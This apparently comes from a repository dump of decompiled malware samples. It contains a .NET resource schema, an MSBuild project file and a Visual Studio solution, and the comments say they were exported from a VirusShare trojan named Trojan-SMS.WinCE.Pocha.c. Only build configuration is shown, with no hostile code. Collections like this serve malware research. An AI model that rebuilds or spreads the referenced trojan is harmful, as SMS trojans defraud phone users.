extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{483430DE-3F0A-4F33-B438-AE0B5E97F64A}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>viconect</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>viconect</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "viconect", "Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.csproj", "{483430DE-3F0A-4F33-B438-AE0B5E97F64A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{483430DE-3F0A-4F33-B438-AE0B5E97F64A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{483430DE-3F0A-4F33-B438-AE0B5E97F64A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{483430DE-3F0A-4F33-B438-AE0B5E97F64A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{483430DE-3F0A-4F33-B438-AE0B5E97F64A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal